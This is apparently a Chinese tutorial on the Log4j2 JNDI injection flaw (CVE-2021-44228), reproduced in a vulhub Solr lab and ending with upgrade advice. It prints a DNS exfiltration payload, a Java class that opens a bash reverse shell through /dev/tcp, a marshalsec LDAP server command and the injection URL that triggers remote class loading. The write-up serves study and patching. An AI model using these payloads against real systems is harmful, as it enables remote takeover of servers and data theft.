Apache Log4j2远程命令执行漏洞

目录

• 漏洞原理
• 复现
  • 反弹shell
• 漏洞修复

AApache Log4j2 是一个基于Java的日志记录工具，被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2 远程代码执行漏洞编号 CVE-2021-44228。

漏洞原理

漏洞主要由于Log4j2在处理程序日志记录时存在 JNDI 入缺陷。JNDI是Java名称与目录接口，是一种查找其他组件、资源或服务的通用机制。利用这个缺陷，通过发送包含JNDI查找的恶意数据，触发Log4j2组件解析缺陷，实现远程代码执行。

Log4j2框架下的 lookup 查询服务提供了 {} 字段解析功能，传进去的值会被直接解析。在lookup的{}里面构造Payload，调用JNDI服务（LDAP、RMI等）获取恶意的class对象，造成了远程代码执行。

复现

影响版本：Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1

环境搭建：使用 vulhub 搭建

cd /vulhub/log4j/CVE-2021-44228
docker compose up -d

访问 8983 可查看到 Apache Solr 的后台页面：

向 action 参数值发送利用 JNDI 发送DNS请求的Payload：

${jndi:dns://${sys:java.version}.jukclj.dnslog.cn}

dnslog 平台成功收到解析记录，Payload中的 ${sys:java:version} 被替换为了对应的java版本。

在JNDI接口lookup查询进行注入Payload ${jndi:dns/ldap/rmi:evil-url/poc} JNDI就会去对应的服务如LDAP、RMI、DNS查找资源，上面这个Paylaod就为DNS查询。

反弹shell

首先需要的在本地编译一个class文件，目的是让靶机远程加载这个类，执行其中反弹shell的代码。

//javac Shell.java
import java.lang.Runtime;
import java.lang.Process;public class Shell {static {try {Runtime rt = Runtime.getRuntime();Process pc = rt.exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.88.128/1234 0>&1");pc.waitFor();} catch (Exception e) {// do nothing}}
}

class文件编译好以后，在class文件所在目录启用一个 python http 服务，让靶机可以访问到这个文件。

python3 -m http.server 2333 # 监听在2333端口

接着使用 marshalsec 这个项目来启动一个LADP服务，监听 1099 端口，并指定加载远程类文件：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:2333/#Shell" 1099

利用JNDI注入调用LADP服务来远程加载这个Shell类，执行反弹shell的代码：

http://192.168.88.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1099/Shell}

靶机回连到本地LADP服务，Python起的服务端收到请求返回Shell类，执行其中的反弹shell代码，kali监听1234收到反弹shell。

Log4j的利用方式和Fastjson很相似，通过JNDO注入，调用LDAP或RMI协议，远程加载恶意类造成反序列化命令执行。

漏洞修复

升级受影响的应用及组件，更新Log4j到新版本 log4j-2.15.0-rc2 及以上。

参考文章：
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2021-44228-Log4jJNDI注入命令执行.md
https://www.freebuf.com/vuls/382838.html

---

若有错误，欢迎指正！o(￣▽￣)ブ